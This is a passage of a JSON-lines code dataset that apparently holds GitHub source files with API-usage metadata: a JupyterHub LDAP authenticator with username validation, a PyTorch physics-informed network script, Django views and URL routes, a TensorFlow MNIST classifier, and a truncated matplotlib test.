"torch.no_grad", "line_number": 257, "usage_type": "call"}, {"api_name": "utils.accuracy", "line_number": 265, "usage_type": "call"}, {"api_name": "time.time", "line_number": 269, "usage_type": "call"}, {"api_name": "time.time", "line_number": 270, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 283, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 283, "usage_type": "name"}, {"api_name": "torch.cuda.set_device", "line_number": 290, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 290, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 291, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 291, "usage_type": "name"}, {"api_name": "utils.adjust_learning_rate", "line_number": 302, "usage_type": "call"}, {"api_name": "time.time", "line_number": 306, "usage_type": "call"}, {"api_name": "time.time", "line_number": 308, "usage_type": "call"}, {"api_name": "time.time", "line_number": 310, "usage_type": "call"}, {"api_name": "time.time", "line_number": 312, "usage_type": "call"}]}
{"seq_id": "12961285580", "text": "import ldap3\nimport re\n\nfrom jupyterhub.auth import Authenticator\nfrom tornado import gen\nfrom traitlets import Unicode, Int, Bool, Union, List\n\n\nclass LDAPAuthenticator(Authenticator):\n    server_address = Unicode(\n        config=True,\n        help='Address of LDAP server to contact'\n    )\n    server_port = Int(\n        config=True,\n        help='Port on which to contact LDAP server',\n    )\n\n    def _server_port_default(self):\n        if self.use_ssl:\n            return 636  # default SSL port for LDAP\n        else:\n            return 389  # default plaintext port for LDAP\n\n    use_ssl = Bool(\n        True,\n        config=True,\n        help='Use SSL to encrypt connection to LDAP server'\n    )\n\n    bind_dn_template = Unicode(\n        config=True,\n        help=\"\"\"\n        Template from which to construct the full dn\n        when authenticating to LDAP. {username} is replaced\n        with the actual username.\n\n        Example:\n\n            uid={username},ou=people,dc=wikimedia,dc=org\n        \"\"\"\n    )\n\n    allowed_groups = List(\n        config=True,\n        help=\"List of LDAP Group DNs whose members are allowed access\"\n    )\n\n    valid_username_regex = Unicode(\n        r'^[a-z][.a-z0-9_-]*$',\n        config=True,\n        help=\"\"\"Regex to use to validate usernames before sending to LDAP\n\n        Also acts as a security measure to prevent LDAP injection. If you\n        are customizing this, be careful to ensure that attempts to do LDAP\n        injection are rejected by your customization\n        \"\"\"\n    )\n\n    lookup_dn = Bool(\n        False,\n        config=True,\n        help='Look up the user\\'s DN based on an attribute'\n    )\n\n    user_search_base = Unicode(\n        config=True,\n        help=\"\"\"Base for looking up user accounts in the directory.\n\n        Example:\n\n            ou=people,dc=wikimedia,dc=org\n        \"\"\"\n    )\n\n    user_attribute = Unicode(\n        config=True,\n        help=\"\"\"LDAP attribute that stores the user's username.\n\n        For most LDAP servers, this is uid.  For Active Directory, it is\n        sAMAccountName.\n        \"\"\"\n    )\n\n    @gen.coroutine\n    def authenticate(self, handler, data):\n        username = data['username']\n        password = data['password']\n\n        # Protect against invalid usernames as well as LDAP injection attacks\n        if not re.match(self.valid_username_regex, username):\n            self.log.warn('Invalid username')\n            return None\n\n        # No empty passwords!\n        if password is None or password.strip() == '':\n            self.log.warn('Empty password')\n            return None\n\n        userdn = self.bind_dn_template.format(username=username)\n\n        server = ldap3.Server(\n            self.server_address,\n            port=self.server_port,\n            use_ssl=self.use_ssl\n        )\n        conn = ldap3.Connection(server, user=userdn, password=password)\n\n        if conn.bind():\n            if self.allowed_groups:\n                if self.lookup_dn:\n                    # In some cases, like AD, we don't bind with the DN, and need to discover it.\n                    conn.search(\n                        search_base=self.user_search_base,\n                        search_scope=ldap3.SUBTREE,\n                        search_filter='({userattr}={username})'.format(\n                            userattr=self.user_attribute,\n                            username=username\n                        ),\n                        attributes=[self.user_attribute]\n                    )\n\n                    if len(conn.response) == 0:\n                        self.log.warn('User with {userattr}={username} not found in directory'.format(\n                            userattr=self.user_attribute, username=username))\n                        return None\n                    userdn = conn.response[0]['dn']\n\n                for group in self.allowed_groups:\n                    groupfilter = (\n                        '(|'\n                        '(member={userdn})'\n                        '(uniqueMember={userdn})'\n                        '(memberUid={uid})'\n                        ')'\n                    ).format(userdn=userdn, uid=username)\n                    groupattributes = ['member', 'uniqueMember', 'memberUid']\n                    if conn.search(\n                        group,\n                        search_scope=ldap3.BASE,\n                        search_filter=groupfilter,\n                        attributes=groupattributes\n                    ):\n                        return username\n                # If we reach here, then none of the groups matched\n                self.log.warn('User {username} not in any of the allowed groups'.format(\n                    username=userdn\n                ))\n                return None\n            else:\n                return username\n        else:\n            self.log.warn('Invalid password for user {username}'.format(\n                username=userdn,\n            ))\n            return None\n", "repo_name": "rcc-uchicago/JupyterHub-Customized", "sub_path": "python-3.5.3-jupyterhub-mod/lib/python3.5/site-packages/ldapauthenticator/ldapauthenticator.py", "file_name": "ldapauthenticator.py", "file_ext": "py", "file_size_in_byte": 4952, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "jupyterhub.auth.Authenticator", "line_number": 9, "usage_type": "name"}, {"api_name": "traitlets.Unicode", "line_number": 10, "usage_type": "call"}, {"api_name": "traitlets.Int", "line_number": 14, "usage_type": "call"}, {"api_name": "traitlets.Bool", "line_number": 25, "usage_type": "call"}, {"api_name": "traitlets.Unicode", "line_number": 31, "usage_type": "call"}, {"api_name": "traitlets.List", "line_number": 44, "usage_type": "call"}, {"api_name": "traitlets.Unicode", "line_number": 49, "usage_type": "call"}, {"api_name": "traitlets.Bool", "line_number": 60, "usage_type": "call"}, {"api_name": "traitlets.Unicode", "line_number": 66, "usage_type": "call"}, {"api_name": "traitlets.Unicode", "line_number": 76, "usage_type": "call"}, {"api_name": "re.match", "line_number": 91, "usage_type": "call"}, {"api_name": "ldap3.Server", "line_number": 102, "usage_type": "call"}, {"api_name": "ldap3.Connection", "line_number": 107, "usage_type": "call"}, {"api_name": "ldap3.SUBTREE", "line_number": 115, "usage_type": "attribute"}, {"api_name": "ldap3.BASE", "line_number": 140, "usage_type": "attribute"}, {"api_name": "tornado.gen.coroutine", "line_number": 85, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 85, "usage_type": "name"}]}
{"seq_id": "35780795165", "text": "# prerequisites\nfrom ast import arg\nfrom tkinter import X\nfrom tokenize import Double\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\nfrom torchvision.utils import save_image\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport time \nimport argparse\nos.environ[\"KMP_DUPLICATE_LIB_OK\"] = \"True\"\n# Device configuration\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nfrom scipy.integrate import odeint, solve_ivp\n\n\n\nn_neurons = 30\nlr = 0.001 # learing rate\nlr2 = 0.0001 # learning rate 2 is switch is used\nlr_switch = 80000 # n_epochs before changing lr \ncriterion = nn.MSELoss() # loss function \nn_epochs = 1000\nn_col = 1000 # number of collocation points \nSoftAdapt_beta = 0.1 # soft adabt hyberparamter \n\n\n\nSoftAdapt_start = 2000 # soft adabt start epoch \nn_soft = 10 # n loss epochs used for soft adabt\n\n\n\ntimesteps = 400 # number of timestpes for solver\ntime_limit = 10 # solver time limit \n\n# pendumlum paramters \nm = 2\nk = 5\nc = 1\n\nt = np.linspace(0,time_limit,timesteps)\n    \n\n\nidx = [0,3,8,15,20,30,38,45,70,75,80,102,122,130,145,158,180,185,195,215,230,240,250,275,300,325,350,375,390]\nsol_data = np.sin(t)\nsol_dot = np.cos(t)\nsol_dotdot = -np.sin(t)\n\n# u_dot = cos\n# u_dot_dot = -sin \n\n\n\nu_b = np.array(sol_data)[idx]\n\nn_b = len(u_b)\n \n  \nt_b = np.array(t)[idx]\n\n\n\n\n\nx_col = np.linspace(0, time_limit, n_col)\nx_col = Variable(torch.from_numpy(x_col).float(), requires_grad=True).to(device)\nt_b = Variable(torch.from_numpy(t_b).float(), requires_grad=True).to(device)\nu_b = Variable(torch.from_numpy(u_b).float(), requires_grad=True).to(device)\n\nt_plot = Variable(torch.from_numpy(t).float(), requires_grad=True).to(device)\nt_plot = t_plot.reshape(timesteps,1)\n\nu_b = u_b.reshape(n_b,1)\nt_b = t_b.reshape(n_b,1)\nx_col = x_col.reshape(n_col,1)\n\n\nclass PINN(nn.Module):\n    def __init__(self):\n        super(PINN, self).__init__()       \n        self.fc1 = nn.Linear(1, n_neurons)\n        self.fc2 = nn.Linear(n_neurons, n_neurons)\n        self.fc3 = nn.Linear(n_neurons,n_neurons)\n        self.fc4 = nn.Linear(n_neurons,n_neurons)\n        self.fc5 = nn.Linear(n_neurons,1)\n        \n       \n    # forward method\n    def forward(self,y):\n        y = torch.tanh(self.fc1(y)) \n        y = torch.tanh(self.fc2(y))\n        y = torch.tanh(self.fc3(y))\n       # y = torch.tanh(self.fc4(y)) \n      \n        return self.fc5(y) \n  \n \nnet = PINN().to(device)\n    \noptimizer = optim.Adam(net.parameters(), lr=lr)\n\n\ndef compute_residuals(x):\n    \n    u = net(x) # calculate u\n\n \n    u_t  = torch.autograd.grad(u, x, torch.ones_like(u), retain_graph=True,create_graph=True)[0]# computes du/dx\n    u_tt = torch.autograd.grad(u_t,  x, torch.ones_like(u_t),retain_graph=True ,create_graph=True)[0]# computes d^2u/dx^2\n\n    \n    res_1 = u_t - torch.cos(x)\n    res_2 = u_tt + torch.sin(x)\n         \n    return res_1 + res_2\n\n\n       \n\nstart = time.time()\n\n\ndef train(x_col,u_b,epoch):\n    optimizer.zero_grad()\n    \n    # boundary/data points  loss \n    net_u_b = net(t_b)\n    MSE_u = criterion(net_u_b,u_b)\n    \n    # collocation loss \n    \n    res = compute_residuals(x_col)\n    col_target = torch.zeros_like(res)\n    \n    MSE_f = criterion(res,col_target)\n    # loss normlaized to amount of poins \n    loss = MSE_u + MSE_f  \n    \n   \n    loss.backward()\n    \n    optimizer.step()\n    \n    return loss.data.item()\n\nlosses = []\n\n\nfor epoch in range(1, n_epochs+1):\n    \n    \n    if epoch > lr_switch: # learning rate switz if desired \n        optimizer = optim.Adam(net.parameters(), lr=lr2)\n    \n    losses.append(train(x_col,u_b,epoch))\n\n    print('[%d/%d]: loss: %.4f' % ((epoch), n_epochs, torch.mean(torch.FloatTensor(losses))))\n    \n\nstop = time.time()\n\nprint('Time ussage',stop-start)\n\nwith torch.no_grad():\n    \n    y = net(t_plot) # get final approximation from PINN \n     \n    plt.plot(t,sol_data,label='Real solution')\n    plt.scatter(t_b,u_b,color='red',label='Training points')\n    plt.plot(t,y,'--',label='PINN solution')\n    plt.legend()\n    plt.xlabel('Time')\n    plt.ylabel('Position')\n    plt.show()\n\n  \n    MSE = np.square(np.subtract(y.detach().numpy()[:,0],sol_data)).mean()\n    print('MSE loss '+ str(MSE))\n\n \n \n\ny_test = net(t_plot)\nu_t  = torch.autograd.grad(y_test, t_plot, torch.ones_like(y_test), retain_graph=True,create_graph=True)[0]# computes du/dx\nu_tt  = torch.autograd.grad(u_t, t_plot, torch.ones_like(y_test), retain_graph=True,create_graph=True)[0]# computes du/dx\nSEdot = np.square(np.subtract(u_t.detach().numpy()[:,0],sol_dot))\nMSEdot = SEdot.mean()\nSEdotdot = np.square(np.subtract(u_tt.detach().numpy()[:,0],sol_dotdot))\nMSEdotdot = SEdotdot.mean()\n\nplt.plot(t,SEdot,label='$\\dot{u}$ residual')\nplt.plot(t,SEdotdot,label='$\\ddot{u}$ residual')\nplt.yscale('log')\nplt.legend()\nplt.xlabel('Time')\nplt.ylabel('Squared Error')\nplt.show()\nprint(\"MSE dot \"+str(MSEdot))\nprint(\"MSE dotdot \"+str(MSEdotdot))\n\ne_plot = list(range(n_epochs))\n\nplt.plot(e_plot,losses)\nplt.yscale('log')\nplt.title('Loss vs epoch (y log scale)')\nplt.xlabel('Epoch')\nplt.ylabel('MSE')\nplt.show()\n\n\n\n", "repo_name": "SimonDahl/Speciale", "sub_path": "Code/PINNs/AD_test.py", "file_name": "AD_test.py", "file_ext": "py", "file_size_in_byte": 5162, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.nn.MSELoss", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 86, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 89, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 90, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 92, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.tanh", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 108, "usage_type": "name"}, {"api_name": "torch.autograd.grad", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 116, "usage_type": "attribute"}, {"api_name": "torch.ones_like", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 117, "usage_type": "attribute"}, {"api_name": "torch.ones_like", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.cos", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.sin", "line_number": 121, "usage_type": "call"}, {"api_name": "time.time", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 161, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 165, "usage_type": "call"}, {"api_name": "time.time", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 178, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "numpy.square", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 192, "usage_type": "attribute"}, {"api_name": "torch.ones_like", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 193, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 193, "usage_type": "attribute"}, {"api_name": "torch.ones_like", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 199, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 211, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 211, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 213, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 213, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 214, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 214, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 215, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 215, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 216, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 216, "usage_type": "name"}]}
{"seq_id": "23538570196", "text": "from django.shortcuts import render\nfrom django.views.generic.list import ListView\nfrom django.views.generic.detail import DetailView\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nimport os\nfrom .models import (\n    Products,\n)\n\n\n\n\nclass ProductListView(LoginRequiredMixin, ListView):\n    model = Products\n    template_name = os.path.join('stores', 'product_list.html')\n    \n    #検索欄で絞り込む\n    def get_queryset(self): \n        query = super().get_queryset()\n        product_type_name = self.request.GET.get('product_type_name', None)\n        product_name = self.request.GET.get('product_name', None)\n        if product_type_name:\n            #nameカラムで絞り込み\n            query = query.filter(\n                product_type__name = product_type_name\n            )\n        \n        if product_name:\n            query = query.filter(\n                name = product_name\n            )\n        order_by_price = self.request.GET.get('order_by_price', 0)\n        if order_by_price == '1':\n            query = query.order_by('price')\n        elif order_by_price == '2':\n            query = query.order_by('-price')\n        return query\n\n        \n\n    #viewに渡す\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['product_type_name'] = self.request.GET.get('product_type_name', '')\n        context['product_name'] = self.request.GET.get('product_name', '')\n        order_by_price = self.request.GET.get('order_by_price')\n        if order_by_price == '1':\n            context['ascending'] = True\n        elif order_by_price == '2':\n            context['descending'] = True\n        return context\n\n\nclass ProductDetailView(LoginRequiredMixin, DetailView):\n    model = Products\n    template_name = os.path.join('stores', 'product_detail.html')", "repo_name": "daiki-0520/ECsite", "sub_path": "ClassBaseLoginView/ecsite_project/stores/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1835, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 13, "usage_type": "name"}, {"api_name": "django.views.generic.list.ListView", "line_number": 13, "usage_type": "name"}, {"api_name": "models.Products", "line_number": 14, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 54, "usage_type": "name"}, {"api_name": "django.views.generic.detail.DetailView", "line_number": 54, "usage_type": "name"}, {"api_name": "models.Products", "line_number": 55, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}]}
{"seq_id": "32286081670", "text": "\n\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.vulerabilitiydb, name='index'),\n    path('add', views.vulerabilitiydbadd, name='add'),\n    path('edit/<str:pk>/', views.vulerabilitiydbedit, name='edit'),\n    path('delete/<str:pk>/', views.vulerabilitiydbdelete, name='edit'),\n    \n]\n\n", "repo_name": "Anof-cyber/APTRS", "sub_path": "vulnerability/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 322, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 738, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "74647672906", "text": "# Dnn\n# sigmoid, linear\n# 단층 퍼셉트론으로 구성\n\nimport tensorflow as tf\nimport numpy as np\ntf.set_random_seed(66)\n\ndatasets = tf.keras.datasets.mnist\n\n(x_train, y_train), (x_test, y_test) = datasets.load_data()\n# print(x_train.shape, y_test.shape) (60000, 28, 28) (10000,)\n\ny_train = y_train.reshape(-1,1)\n# print(y_train.shape) (60000, 1)\ny_test = y_test.reshape(-1,1)\n# print(y_test.shape) (10000, 1)\n\nx_train = x_train.reshape(-1, 28*28)/255.\nx_test = x_test.reshape(-1, 28*28)/ 255.\n\nfrom sklearn.preprocessing import OneHotEncoder\nencoder = OneHotEncoder()\nencoder.fit(y_train)\ny_train = encoder.transform(y_train).toarray()\ny_test = encoder.transform(y_test).toarray()\n# print(y_train.shape) (60000, 10)\n\nx = tf.placeholder(tf.float32, shape = [None, 28*28])\ny = tf.placeholder(tf.float32, shape = [None, 10])\n\nw = tf.compat.v1.Variable(tf.zeros([28*28, 10]), name='weight')\nb = tf.compat.v1.Variable(tf.zeros([1,10]), name='bias')\n\nhypothesis = tf.nn.softmax(tf.matmul(x, w) + b)\n\ncost = tf.reduce_mean(-tf.reduce_sum(y* tf.log(hypothesis), axis=1)) # categorical_crossentropy\noptimizer = tf.train.AdamOptimizer(learning_rate=0.017).minimize(cost)\n\nfrom sklearn.metrics import accuracy_score\n\nwith tf.Session() as sess :\n    sess.run(tf.global_variables_initializer())\n\n    for step in range(201) :\n        cost_val, _ = sess.run([cost, optimizer],\n            feed_dict={x:x_train, y: y_train})\n        if step % 10 == 0:\n            print(step, \"cost : \", cost_val)\n\n    predict = sess.run(hypothesis, feed_dict={x:x_test})\n    print(sess.run(tf.argmax(predict, 1)))\n\n    y_pred = sess.run(hypothesis, feed_dict = {x:x_test})\n    y_pred = np.argmax(y_pred, axis= 1)\n    y_test = np.argmax(y_test, axis= 1)\n    print('acc_score : ', accuracy_score(y_test, y_pred))\n\n# 결과값\n# [7 2 1 ... 4 5 6]\n# acc_score :  0.9269", "repo_name": "Hyunwoo29/keras01", "sub_path": "tf114/tf18_mnist.py", "file_name": "tf18_mnist.py", "file_ext": "py", "file_size_in_byte": 1839, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tensorflow.set_random_seed", "line_number": 7, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 23, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 29, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 30, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.Variable", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 32, "usage_type": "attribute"}, {"api_name": "tensorflow.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.Variable", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow.zeros", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.log", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 57, "usage_type": "call"}]}
{"seq_id": "43121022378", "text": "import unittest\nimport numpy as np\nfrom tests.test_utils import in_data_dir\n\nfrom matplotlib.testing.compare import compare_images\n\nfrom eqcatalogue import regression, models\nfrom eqcatalogue.serializers.mpl import plot\n\nACTUAL1 = in_data_dir('actual1.png')\nEXPECTED1 = in_data_dir('expected1.png')\n\n\nclass ShoudPlotEMSR(unittest.TestCase):\n    def test_plot_emsr(self):\n        # Assess\n        p2_0 = 0.046\n        p2_1 = 0.556\n        p2_2 = 0.673\n        points = 40\n\n        native_values = np.random.uniform(3., 8.5, points)\n        native_sigmas = np.random.uniform(0.02, 0.2, points)\n        target_values = p2_0 + p2_1 * native_values +\\\n          p2_2 * (native_values ** 2.)\n        target_values += np.random.normal(0., 1, points)\n        target_sigmas = np.random.uniform(0.025, 0.2, points)\n        native_measures = [models.MagnitudeMeasure(\n            agency=None, event=None, origin=None,\n            scale='Mtest', value=v[0], standard_error=v[1])\n            for v in zip(native_values, native_sigmas)]\n        target_measures = [models.MagnitudeMeasure(\n            agency=None, event=None, origin=None,\n            scale='Mtest', value=v[0], standard_error=v[1])\n            for v in zip(target_values, target_sigmas)]\n\n        emsr = regression.EmpiricalMagnitudeScalingRelationship(\n            native_measures, target_measures)\n        emsr.apply_regression_model(regression.LinearModel)\n        emsr.apply_regression_model(regression.PolynomialModel,\n                                    order=2)\n\n        # Act\n        plot(emsr, ACTUAL1)\n\n        # Assert\n        self.assertFalse(compare_images(EXPECTED1, ACTUAL1, tol=4))\n", "repo_name": "gvallarelli/oq-eqcatalogue-tool", "sub_path": "tests/test_plot.py", "file_name": "test_plot.py", "file_ext": "py", "file_size_in_byte": 1651, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tests.test_utils.in_data_dir", "line_number": 10, "usage_type": "call"}, {"api_name": "tests.test_utils.in_data_dir", "line_number": 11, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", 